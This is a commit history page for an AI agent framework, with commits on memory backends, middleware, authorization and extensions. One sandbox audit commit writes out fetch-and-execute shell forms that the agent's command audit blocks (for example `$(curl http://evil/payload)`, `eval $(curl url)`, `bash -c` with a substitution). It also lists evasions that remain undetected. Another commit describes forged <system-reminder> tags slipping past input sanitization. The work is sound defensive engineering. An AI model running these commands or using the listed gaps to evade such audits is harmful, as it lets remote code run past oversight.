284 Commits

Author SHA1 Message Date
starslittle
f0276c9f5a
fix(memory): validate Honcho timeout and character limits (#4783)
* fix(memory): validate Honcho timeout and character limits

* fix(memory): enforce HonchoConfig invariants
2026-08-17 08:22:11 +08:00
Aari
5ffaa09f5a
feat(memory): add hybrid fact eviction policy (#4789)
* feat(memory): add hybrid fact eviction policy

* refactor(memory): simplify confirmation count update

* fix(memory): clean up eviction audit metadata

* fix(memory): harden eviction cleanup boundaries

* fix(memory): address hybrid eviction review
2026-08-17 08:20:42 +08:00
KXH
ae099c11ec
fix(memory): scope bootstrap facts to custom agent (#4804)
Signed-off-by: KXH <shepherdlaurie238@gmail.com>
2026-08-16 15:41:35 +08:00
Baldwinzc
e59ee4827f
fix(middleware): target the latest user message on first-turn fallback injection (#4667)
* fix(middleware): target the latest user message on first-turn fallback injection

When an earlier turn ends without any dynamic-context reminder — e.g.
the async abefore_agent degraded path times out and skips injection
(issue #3402's guard) — the next turn enters the first-injection branch
(last_date is None) on a history that already holds several turns.
That branch scanned from the start and attached the ID-swap to the
FIRST user message.  The swap's {id}__user copy is appended by
add_messages, so the stale first prompt moved to the tail of history,
ahead of the current question — and the model answered the old prompt
as if it were the current turn.

Scan from the end instead (matching the midnight-crossing branch) so
the reminder attaches to the latest user message and history order is
preserved.  Genuine first turns are unaffected: they have exactly one
message, which is both first and last.  The pre-existing
test_injects_only_into_first_human_message_not_later_ones case encoded
the buggy target selection and is updated to the corrected contract.

* refactor: rename first_idx to target_idx after reversed scan

The branch now scans from the end, so the local holds the LAST user
injection target; first_idx read misleadingly.  Match the
midnight-crossing branch's naming convention and clarify the log line
accordingly.  No behavior change.
2026-08-16 11:53:21 +08:00
Mason Zhou
432c09f6b0
fix: restore standalone LangGraph Studio compatibility (#4760)
* fix: restore standalone LangGraph Studio compatibility

* fix: secure standalone Studio assistant ownership

* fix: harden Studio provenance reconciliation

* fix: repair Studio persistence before runtime startup

* fix: harden standalone Studio compatibility
2026-08-15 21:20:34 +08:00
Nefelibata
3a967d4f9a
fix(memory): reject non-finite mem0 timeout_seconds (#4823) 2026-08-15 15:40:43 +08:00
hataa
3fa5e94c3b
docs(memory): document the Honcho backend (#4822)
The Honcho backend landed in #4730 without user-facing docs: the main
README's Long-Term Memory section covers the other opt-in backends
(mem0, openviking) but never mentions honcho, and unlike mem0 the
backend shipped no guide README.

- Add backends/honcho/README.md mirroring the mem0 guide structure:
  configuration (with the plain-HTTP api_key guard), workspace-per-user
  isolation and fail-closed identity, recall/search behavior per mode,
  limitations (no fact CRUD -> gateway 501, no DeerMem migration), and
  async/failure-policy semantics.
- Add a short honcho paragraph + guide link to the README Long-Term
  Memory section, alongside the existing mem0 paragraph.
2026-08-14 23:28:24 +08:00
Zhou Kai
e4a7a04719
feat(subagents): add isolated date-only context (#4797)
* feat(subagents): inject date-only runtime context

* refactor(middleware): deduplicate date reminder formatting
2026-08-13 23:37:46 +08:00
Ryker_Feng
ccff5f5ce7
docs: govern agent guidance size (#4799)
* docs: govern agent guidance size

* refactor: split agent guidance by code scope

* Clarify virtual path handling in AGENTS.md

Updated the translation section to clarify the role of `LocalSandboxProvider` and the handling of virtual paths in the tool layer.

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-08-13 21:49:04 +08:00
ChiHaYa
88252e9b31
fix(subagents): isolate background tasks from reused tool call IDs (#4758)
* fix(subagents): isolate background execution IDs

* fix(subagents): preserve correlation scope and isolate usage

* fix(subagents): make usage attribution idempotent
2026-08-12 09:25:05 +08:00
ajayr
6cbf20fd39
feat(memory): add Honcho backend (user-model memory provider) (#4730)
* feat(memory): honcho backend config parsing

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(memory): honcho v3 http client

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(memory): honcho memory manager (workspace-per-user, fail-closed identity, async offload)

- HonchoMemoryManager implements the MemoryManager contract (add/get_context/
  search/get_memory/shutdown_flush + aadd/aget_context/asearch offloaded via
  asyncio.to_thread), signatures verified against manager.py's tier-1/tier-2/
  async abstracts.
- Workspace resolution: workspace_overrides[user_id] else
  workspace_prefix + sanitize_id(user_id); missing/empty user_id fails closed
  (no-op write, empty read) rather than falling back to a shared workspace.
  User peer: user_peer_overrides[user_id] else sanitize_id(user_id).
- get_context self-truncates to max_injection_chars and raises
  MemoryManagerError only under failure_policy.read=fail_closed; default is
  log-and-return "".
- Restore backends/honcho/__init__.py to the noop direct-import convention
  (MANAGER_CLASS = HonchoMemoryManager) now that honcho_manager.py exists,
  replacing Task 10's temporary lazy __getattr__ scaffold.
- Fix Task 10 deferred docstring minor: sanitize_id docstring now states the
  grammar allows up to 100 chars while this helper caps at 64.
- 19 new tests appended to test_honcho_memory_backend.py (write/read/async/
  lifecycle/factory-discovery); 27/27 pass. Verified end-to-end that
  manager.py's drop-in backend scanner resolves "honcho" with no core edits.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(memory): collision-resistant identity derivation, exception containment, passive-writes flag

Task review findings (2 Critical + 1 Important), all fixed in the same worktree:

- CRITICAL (cross-user bleed): sanitize_id is lossy -- "user.name@example.com"
  and "user-name@example.com" both sanitized to the same string, merging two
  users' memory into one workspace/peer. Add _stable_id() (sanitize_id output
  + 8-hex-char SHA-256 suffix of the raw id) and use it on the default
  (non-override) path in _workspace/_user_peer; workspace_overrides /
  user_peer_overrides still match on the raw key, unchanged. The hash suffix
  also guarantees a non-empty result for a raw id that sanitizes to "" (e.g.
  "!!!"), so _user_peer can no longer return "". Documented in the manager's
  isolation docstring.

- CRITICAL (exception containment): client.py's _post() called response.json()
  outside the try block, so a 200 with a non-JSON body raised a bare
  JSONDecodeError that would escape add() with no upstream handler. Wrap the
  parse and raise HonchoRequestError (mirrors Mem0Client._request). Broadened
  the manager's four boundary excepts from `except HonchoRequestError` to
  `except Exception` (mirrors openviking_manager.py's broad-guard precedent),
  with `except MemoryManagerError: raise` first so a contract error is never
  swallowed or double-wrapped.

- IMPORTANT: added requires_passive_writes_in_tool_mode: ClassVar[bool] = True
  -- Honcho's only write path is passive add() (no fact CRUD hooks), so tool
  mode must keep MemoryMiddleware writes flowing to the deriver. Mirrors
  mem0_manager.py's identical flag/rationale.

Minors addressed: get_memory(user_id=None) empty-shape-with-no-calls test;
empty-string user_id tests for add()/get_context(); dedicated collision test
proving two colliding raw ids resolve to different workspaces/peers.

10 new tests (37/37 total pass); RED verified by stashing only the
implementation files (tests import the not-yet-existing _stable_id, so the
whole module fails to collect) before restoring the fix.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test(memory): blocking-io anchor for honcho backend; docs + config example

- Adds test_honcho_memory_backend.py in tests/blocking_io/ with fake-client blocking IO
- Mirrors openviking anchor structure and conftest conventions
- Updates backends/README.md with honcho row and config keys section
- Updates config.example.yaml with honcho commented block
- Updates backend/AGENTS.md with honcho memory backend bullet
  - Documents workspace resolution (prefix + collision-resistant sanitized id)
  - Documents tool mode passive write retention via MemoryMiddleware
  - Documents async entrypoint offloading via asyncio.to_thread
  - Documents fail_closed vs fail_open recall failure policy

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(memory): wire close() to shutdown hook; correct honcho README defaults and tool-mode note

- HonchoMemoryManager.close() releases the HTTP client, mirroring
  mem0_manager.py's pattern and the base MemoryManager.close() shutdown hook.
- README: fix workspace_prefix (deerflow-u-), message_char_limit (8000),
  max_injection_chars (6000), and base_url (default http://localhost:8000,
  not required) against backends/honcho/config.py; add missing
  timeout_seconds/connect_timeout_seconds rows; replace the "middleware
  mode only" claim with wording matching reality (tool mode supported,
  search implemented, passive writes retained via MemoryMiddleware).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(memory): honor failure_policy.read on all honcho recall paths; review nits

Addresses PR #4730 review feedback:
- search() and get_memory() now route through a _read_or_fallback policy
  gate (mem0's pattern), so failure_policy.read: fail_closed raises
  MemoryManagerError on every recall path as documented; get_context()
  uses the same helper, preventing future drift.
- Session ids use the collision-resistant _stable_id derivation; bare
  sanitize_id would merge threads like "t.1"/"t-1" into one session.
- HonchoClient accepts a transport kwarg (Mem0Client precedent) so tests
  inject httpx.MockTransport through the constructor.
- Config: empty/null workspace/peer override values fail fast at parse
  time instead of silently falling through to the default derivation.
- _UTC_NOW_FIELDS 1-tuple replaced by a plain _UTC_NOW_FORMAT constant.
- README: user_peer_overrides row described the wrong target (it
  overrides the user's own peer, not assistant_peer); document the
  non-empty constraint on override values.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(memory): qualify honcho isolation claim for shared workspace_overrides

The module docstring claimed users cannot see each other's memory by
construction, unconditionally. That holds for the default
one-workspace-per-user derivation, but a workspace_overrides entry mapping
several users to one workspace shares that workspace's search index:
search() uses Honcho's workspace-scoped /search (no peer filter), while
get_context()/get_memory() stay peer-scoped via working_representation.
State the asymmetry in the docstring, the README Workspace Resolution
section, and the workspace_overrides table row.

Docs-only; no behavior change (review follow-up on #4730).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 09:02:08 +08:00
Nan Gao
7389331e65
feat(extensions): observe task lifecycle and system model calls (#4684)
* feat(extensions): observe task lifecycle and system model calls

PR 1 (#4636) gave extensions a middleware chain, and a middleware only sees
what passes through the agent graph. Two runtime surfaces stay invisible to
it: when a lead run or a subagent begins and ends, and the DeerFlow-owned
model calls made outside the graph. This slice adds both, with no new
Gateway surface -- routers, services, and the reference extension stay in
PR 3.

Contract (deerflow-extension-api 0.1.1)
---------------------------------------
Two contribution kinds join `middlewares` on the registry:
`task_lifecycle` (`on_task_start` / `on_task_stop`, receiving a `TaskInfo`
and a conservative `TaskOutcome` of completed / aborted / failed) and
`system_model_observer` (`on_system_model_call`, receiving a
`SystemOperationKind`, a `SystemModelRequest` snapshot, and a
`SystemModelResult` carrying either the response or the provider exception
plus a duration).

`SystemModelRequest.messages` normalizes to a tuple at construction. Goal
evaluation and memory extraction pass a message list while title generation
and summarization pass one prompt string, and a bare `str` already satisfies
`Sequence` -- without normalization an observer iterating `request.messages`
would silently walk characters. Copying also makes the frozen snapshot
immutable in fact rather than only by declaration, since observations may run
after the call site returns and keeps mutating its own list.

Registry marks and rollbacks become per-bucket and positional, so an
`install()` that fails after registering two different kinds cannot leave one
of them behind. `needs_task_store` now covers all three kinds: a deployment
that registers only lifecycle hooks still gets a task store.

Task lifecycle
--------------
The lead worker notifies start after the run has started and stop after
completion persistence and the completion hook, but before clearing the
finalizing barrier and publishing the stream end -- holding the barrier
across stop is what keeps a same-thread replacement run from overlapping this
task's lifecycle. Cancellation raised out of the stop notification is
deferred, not propagated in place, so a cancelled run still clears the
barrier and emits its end frame. A subagent with a parent `run_id` wraps its
execution in the same pair inside `finally`, reporting `parent_task_id` so a
delegation tree is reconstructable; a subagent without a `run_id` (embedded
client, standalone LangGraph Server) logs and skips rather than inventing a
parent. Contributors run in registration order inside one shared 3s budget
and every failure is logged and failed open.

System model calls
------------------
Four kinds cover the model calls the middleware chain cannot see: goal
evaluation, memory extraction, title generation, and summarization. Each site
reports both terminal paths without changing the provider exception the host
observes, short-circuits on `has_system_model_observers`, and passes the live
task store when the runtime has one (detached work gets an isolated store).
The sync summarization half stays unobserved on purpose -- it and its only
host caller are the sync side of an async-only runtime, so notifying there
would block a thread on a call site the host never reaches; the reason is
recorded at the call site.

The DeerMem backend must stay vendorable and cannot import the extension API,
so it reports through a new `MemoryCallbacks.on_memory_llm_result` host hook
that the DeerFlow-side callbacks translate into an observation.

Notification loop
-----------------
Extension resources must be touched on the loop that created them, but
subagents can execute on isolated loops and DeerMem runs on a worker thread.
The Gateway registers its serving loop before any runtime dependency starts
and resets it last through the exit stack, so every startup-failure and
cancellation path is covered. Awaited hooks raised on another loop are
dispatched across with `run_coroutine_threadsafe` and awaited under the same
budget; synchronous sites submit fire-and-forget work. Shutdown stops
accepting detached observations before the memory flush -- that flush runs on
a worker thread and can emit memory observations -- while keeping the loop
alive for awaited task hooks until run and subagent drain completes.

Tests
-----
`test_extension_task_lifecycle.py`, `test_extension_subagent_lifecycle.py`,
and `test_extension_system_model_calls.py` cover ordering, fail-open, budget
exhaustion, snapshot binding under a concurrent singleton replacement, the
loop-dispatch and shutdown-suspension paths, and both terminal paths at every
call site. `test_gateway_run_drain_shutdown.py` pins the stop-before-barrier
and drain ordering.

* fix(extensions): decide notification fail-open by origin, observe cancellation

`_notify_each` only guarded `Exception`, so a contributor letting a
`CancelledError` escape — an extension implementing an internal timeout with
cancellation, say — skipped its successors and reached the worker's
deferred-interrupt path, ending an otherwise successful run as cancelled.
Fail-open is about where a failure came from, not its base class: only a
genuine cancellation of the host task increments `Task.cancelling()`, so
propagate on that and contain everything else. `KeyboardInterrupt` /
`SystemExit` still propagate.

`observe_system_model_call` skipped observers on cancellation for the same
base-class reason, leaving goal / title / summarization silent on a terminal
path that is routine — interrupt/rollback admission and shutdown both cancel
the run task, with the provider tokens already spent. Awaiting observers there
is unreliable (a repeated cancel interrupts that await before any of them
runs), so report through the same non-blocking submission the synchronous
memory bridge uses, then propagate the cancellation untouched.

DeerMem keeps `BaseException` around its provider call, now with the reason
recorded: that path runs on a worker thread, where cancelling the awaiting
side never interrupts the running thread, so `CancelledError` cannot arrive
at all. Its host-hook wrapper narrows to `Exception` — only the hook's own
failures are non-fatal, and an observability path must not swallow a process
teardown signal.

* fix(extensions): warn on budget exhaustion, scope observer logs by task, propagate teardown

Review response on #4684:

- The memory observation bridge caught BaseException, which would swallow
  a teardown signal raised while dispatching; it now catches Exception,
  matching the boundary the DeerMem-side call site documents and tests.
- A notification-budget timeout raised mid-hook fell into the generic
  hook-failure path and logged an asyncio-internal traceback; it now logs
  a warning like the pre-hook budget skip, while a TimeoutError a
  contributor raises on its own stays classified as a hook failure.
- System model observer logs passed the operation kind as the task id,
  so log lines said "task goal/title/..."; they now carry the task
  scope id alongside the kind.
2026-08-11 16:33:22 +08:00
Nan Gao
2bb230b334
fix(todo-middleware): call super in wrap_model_call to restore write_todos prompt injection (#4714) (#4735)
* fix(todo-middleware): call super in wrap_model_call to restore write_todos prompt injection (#4714)

* test(todo-middleware): add async no-reminder system-prompt passthrough test (review feedback)
2026-08-11 11:41:31 +08:00
Baldwinzc
7b57609656
fix(middleware): skip raw tool-call fallback when invalid view carries the same call (#4693)
DanglingToolCallMiddleware._message_tool_calls collected the raw
additional_kwargs tool_calls payload whenever structured tool_calls was
empty, even when invalid_tool_calls was non-empty.  The raw payload is a
fallback serialization of the SAME calls — the OpenAI serializer reaches
for it only once both structured views are empty, which is exactly the
gating _normalize_tool_call_ids documents and implements.  Collecting it
alongside a same-id invalid entry counted the call twice and emitted two
placeholder ToolMessages for one id — the duplicate-id shape strict
OpenAI-compatible providers reject with HTTP 400, the failure this
middleware exists to prevent.

Gate the raw collection on both structured views being empty, aligning
_message_tool_calls with _normalize_tool_call_ids.
2026-08-08 21:07:55 +08:00
Hao Zhe
6556d09d7f
refactor(memory): use official OpenViking adapter (#4707)
* refactor(memory): use official OpenViking adapter

* fix(memory): preserve OpenViking recall behavior

* fix(memory): ignore ambient OpenViking headers
2026-08-07 11:22:00 +08:00
Baldwinzc
2e9ee329ce
fix(middleware): sanitize bare string blocks in list-form user content (#4668)
InputSanitizationMiddleware's text extraction only collected dict blocks
with type == "text", so a HumanMessage whose content list carried a bare
str item (a shape message_content_to_text treats as text and some IM/SDK
clients send) yielded no text at all — the request passed through
unwrapped and unescaped, letting forged framework tags (<system-reminder>
etc.) reach the model untouched.  The sibling rfind-fallback path in
_process_request already neutralized bare strings individually, and both
ToolResultSanitizationMiddleware and ToolOutputBudgetMiddleware treat
bare strings as text; the extraction helper was the odd one out.

Collect bare string blocks alongside text-block dicts (skipping empty
items, matching message_content_to_text), merging them into the single
sanitized text block on rebuild while interleaved non-text blocks keep
their positions.
2026-08-05 08:06:01 +08:00
Nan Gao
1f792d0f4b
feat(extensions): add middleware plugin foundation (#4636)
* feat(extensions): add middleware plugin foundation

* fix(extensions): stop config resolution from masking extension loading

`create_app()` resolved the configured plugin list inside the fail-open
guard around `load_extensions()`. CI has no `config.yaml` (gitignored and
never generated by the workflow), so `get_app_config()` raised
`FileNotFoundError` there and was swallowed as an extension failure --
`load_extensions()` never ran at all, and the four `create_app()` tests in
`test_extension_app_loading.py` passed locally but failed on every runner.

Resolve the plugin list before the guard. Only an absent `config.yaml` is
tolerated, mirroring `_resolve_trace_enabled_for_app_construction()`:
`create_app()` runs at import time, and lifespan still performs strict
config loading before serving. A `config.yaml` that exists but fails to
parse or validate now propagates instead of being reported as an extension
failure -- reporting it as the latter silently dropped a `required: true`
extension rather than failing the boot.

Make the tests config-independent with an autouse `stub_app_config`
fixture, following the existing pattern in `test_gateway_lifespan_shutdown.py`,
and cover both new branches of the config-resolution boundary.

* fix(extensions): bind the run's extension snapshot through subagent delegation

The lead-agent path resolves one immutable loaded-extension snapshot per run
and binds it through task-store allocation and graph construction, but the
subagent path re-read the process-wide singleton at execution time. In
production both are the same object, yet a `set_loaded_extensions()` between
the lead run's start and a subagent's execution (test teardown, a future
hot-reload path) would let one run mix two extension generations — exactly what
the documented invariant exists to prevent.

The graph-build binding is a ContextVar scoped to synchronous construction, so
it has already exited by the time a tool delegates; the snapshot has to travel
through runtime context instead. The run worker publishes it under the
host-internal `EXTENSION_SNAPSHOT_CONTEXT_KEY` (written after the caller merge,
popped when the run has none, so a caller-supplied value is never
authoritative), `task_tool` reads it back through the type-checking
`resolve_run_extensions()`, and `SubagentExecutor` binds it at construction.

Callers outside the Gateway run path — embedded `DeerFlowClient`, standalone
LangGraph Server — install no snapshot and keep the existing
`get_loaded_extensions()` fallback.

* refactor(extensions): defer the ordering table by call, not by a lying tuple

`CORE_ORDERING_CONSTRAINTS` was a `tuple` subclass that overrode only
`__iter__` and resolved into a class-level `_resolved` side channel. A tuple
cannot populate its own storage after construction, so the instance stayed the
empty tuple it was built as: `len()` was 0, `bool()` was False, `in` was always
False, indexing raised, slicing and `reversed()` came back empty, and it
compared unequal to the plain tuples tests substitute for it — all while
iteration yielded the real constraints. Only `assert_ordering` consumed it, and
only by iterating, so the split went unnoticed.

The sibling `_AnchorTable(dict)` uses the same idea soundly because dict is
mutable: `self.update()` fills the real storage, making every inherited
operation correct. That trick does not survive the port to an immutable type.

Replace it with `core_ordering_constraints()`, matching how `stack.py` defers
the same kind of table via `_anchors()`. The deferral is kept — it is about
dependency direction, not just cycles: `extensions/` is the layer the
middleware layer calls into, so a module-scope `agents.middlewares` import here
points the dependency backwards and closes a cycle as soon as any middleware
imports something under `extensions/` at module level. Resolution stays at
`assert_ordering` time, which already runs inside the middleware builder.

Tests pin both halves: the returned value is a plain tuple whose len/bool/
membership/indexing/reversal/equality agree with iteration, and a subprocess
probe asserts importing `extensions.ordering` does not load the middleware
layer while calling the function does.
2026-08-04 22:33:26 +08:00
hataa
540940bac1
feat(authz): enforce model authorization at Gateway routes and runtime (#4063 Phase 3) (#4540)
* feat(authz): enforce model authorization at Gateway routes and runtime (#4063 Phase 3)

Phase 3 / Models — the first of three resource-type PRs (Models, Skills,
Sandbox). The RBAC provider already maps "model" → config key "models"
(rbac.py _RESOURCE_POLICY_KEYS), so no schema change is needed.

Gateway route layer (mirrors Phase 2A):
- resolve_model_authorization() in authz.py returns (provider, principal),
  reusing _get_cached_route_provider and build_principal_from_context,
  including the INTERNAL_SYSTEM_ROLE → None pop for internal callers.
- list_models filters via provider.filter_resources(principal, "model", names).
- get_model checks provider.authorize("model", "use"). Deny → 403 (not 404,
  since the model exists but the role lacks permission).

Runtime resolution layer (mirrors Phase 1B):
- _authorize_model_name() in agent.py runs after _resolve_model_name. On deny,
  falls back to the first allowed model (RFC §9: graceful, not crash). All
  models denied + fail_closed → ValueError (matches existing contract).

authorization.enabled: false is a complete no-op on both layers. Anonymous
requests (user=None) bypass filtering. 18 new tests + 314 existing tests pass.

* fix(authz): enforce model:use on the embedded DeerFlowClient path (Phase 3 follow-up)

Round 4 review (willem-bd): _authorize_model_name only covered the Gateway
runtime path (_make_lead_agent). The parallel lead-agent construction path
DeerFlowClient._ensure_agent (client.py) filtered tools but not the model,
so a library/embedded consumer with role-scoped model policies could run a
model the role is denied model:use for.

- Insert _authorize_model_name in _ensure_agent, mirroring _make_lead_agent.
- Resolve None default to the first configured model before the gate so the
  implicit default (create_chat_model(name=None)) is also authorized.
- Update test_authorization_filters_framework_tools_and_reuses_provider: the
  stub provider now returns an allow decision for model:use (checked during
  assembly) and patches resolve_authorization_provider in the agent namespace.
- Add 3 DeerFlowClient._ensure_agent path tests (real-path fallback,
  None-default resolution, disabled no-op); 24 tests total.

* docs(authz): document get_model provider-unavailable fail-open path + test

zhfeng review (round 5): get_model's docstring only mentioned the deny→403
path, not the provider-resolution-error + fail-open path (which allows the
request, mirroring list_models's documented fail-open semantics). The
behavior itself is correct and symmetric with list_models, but it was
undocumented and the _AuthorizationUnavailable path had no test coverage.

- Extend get_model docstring to state the provider-error fail-closed/fail-open
  outcome, matching list_models's wording.
- Add test_get_model_provider_unavailable_fail_closed_vs_open exercising the
  _AuthorizationUnavailable path (provider cannot be resolved at all), pinning
  fail-closed→403 / fail-open→200.

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-08-01 22:34:11 +08:00
Nan Gao
b295736e53
fix(sandbox): judge command substitution by position in audit middleware (#4623)
* fix(sandbox): judge command substitution by position in audit middleware

SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).

Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.

Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.

Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.

Fixes #4611

* fix(sandbox): keep assignment/wrapper prefixes in command position

Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.

`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.

Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.

* fix(sandbox): treat interpreter code-string flags as execution context

Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:

  bash|sh|dash|ksh|zsh -c "$(curl u)"    python|perl|ruby|node|php -c/-e/-p/-r
  bash <<< "$(curl u)"                    xargs sh -c "$(curl u)"

Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.

Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.

Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.

* fix(sandbox): split on newlines, and keep heredoc bodies out of it

An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:

  echo hi; $(curl u)   -> block
  echo hi<newline>$(curl u)  -> pass

Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).

Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.

The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.

Reported by @willem-bd on #4623.

* fix(sandbox): do not read an arithmetic shift as a heredoc header

The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:

  offset=$(( idx << shift ))
  $(curl http://evil/payload)

Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.

Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.

An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.

Reported by @willem-bd on #4623.
2026-08-01 21:44:34 +08:00
Aari
cccda35cc5
fix(memory): prevent task-scoped data from entering long-term memory (#4604)
* fix(memory): gate long-term updates by scope

* docs(memory): note custom prompts_dir migration; fix stale accept-filter comment

* fix(memory): harden scope-gate review paths
2026-08-01 08:39:28 +08:00
Tu Naichao
c86071442c
fix(memory): truncate mem0 context injection on entry boundaries (#4600)
* fix(memory): truncate mem0 context injection on entry boundaries

Mem0Manager.get_context built the injection block and then hard-cut it
at max_injection_chars, which could sever the last memory mid-line and
leave a dangling partial entry in the agent prompt.

Accumulate whole entries against the remaining budget instead: a
memory that does not fit is skipped (a shorter later one may still
fit). When not even the first memory fits, fall back to the previous
hard-truncation behavior for that single entry rather than injecting
nothing.

Tests: entry-boundary truncation, skip-oversized-keep-later, and the
oversized-first-entry fallback.

* fix(memory): keep entry-boundary guarantee when no mem0 memory fits

Follow-up to PR #4600 review: remove the hard-truncation fallback that

could inject a partial memory when max_injection_chars is smaller than

every recalled entry. Instead return empty context and log a warning that

surfaced the undersized budget.
2026-07-31 22:16:56 +08:00
Tu Naichao
72c9701410
fix(memory): reject duplicate facts inside the create critical section (#4599)
* fix(memory): reject duplicate facts inside the create critical section

memory_add's duplicate check ran outside the storage critical section
(the tools.py comment called this out): two concurrent tool calls for
the same user could both pass the check and both store the same fact.

Move authoritative duplicate rejection into
MemoryUpdater.create_memory_fact: the candidate's normalized content
key is checked against the fresh memory snapshot on every
revision-conflict retry, so the loser of a concurrent create reloads,
sees the winner's fact, and is rejected with ValueError("Duplicate
fact"). The tool-layer pre-check stays as a fast path.

The REST router now maps the duplicate ValueError to 409 with a clear
detail instead of the misleading "content cannot be empty" 400.

Tests: backend-level duplicate rejection, a simulated
concurrent-commit-during-conflict-retry race, and the router 409
mapping.

* fix(memory): retry legacy-path fact creation on save conflict

Wrap the legacy single-file save in the same bounded conflict-retry
loop as the apply_changes path: reload the fresh snapshot and re-run
_raise_if_duplicate_fact_content on every retry, so a concurrent
duplicate commit is rejected with ValueError("Duplicate fact") (tool
error / REST 409) instead of the generic OSError save failure
(REST 500). No-duplicate conflicts now retry and store instead of
failing the create.

Addresses review feedback on bytedance/deer-flow#4599.
2026-07-31 18:06:45 +08:00
Eilen Shin
9d915ca8ca
fix(agent): route subagents by net benefit (#4384)
* fix(agent): route subagents by net benefit

* fix(agent): refine subagent routing boundaries

* fix(agent): clarify routing limits and batches

* fix(agent): handle single-subagent routing
2026-07-30 07:21:55 +08:00
Daoyuan Li
9bb8225079
fix(memory): harden OpenViking retries and watermarks (#4552) 2026-07-29 07:24:55 +08:00
Vanzeren
352f247a81
feat(memory): add mem0 HTTP memory backend (#4528)
* feat(memory): add mem0 HTTP memory backend

* fix(memory): address mem0 review feedback

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-29 07:11:20 +08:00
RongfuShuiping
b3af8c9183
feat(memory): keep tool-mode fact recall explicit (#4521)
* feat(memory): keep tool-mode fact recall explicit

* fix(memory): clarify optional tool-mode context
2026-07-29 06:50:19 +08:00
RongfuShuiping
2aaf74b0f8
feat(memory): add OpenViking HTTP backend (#4509)
* feat(memory): add OpenViking HTTP backend

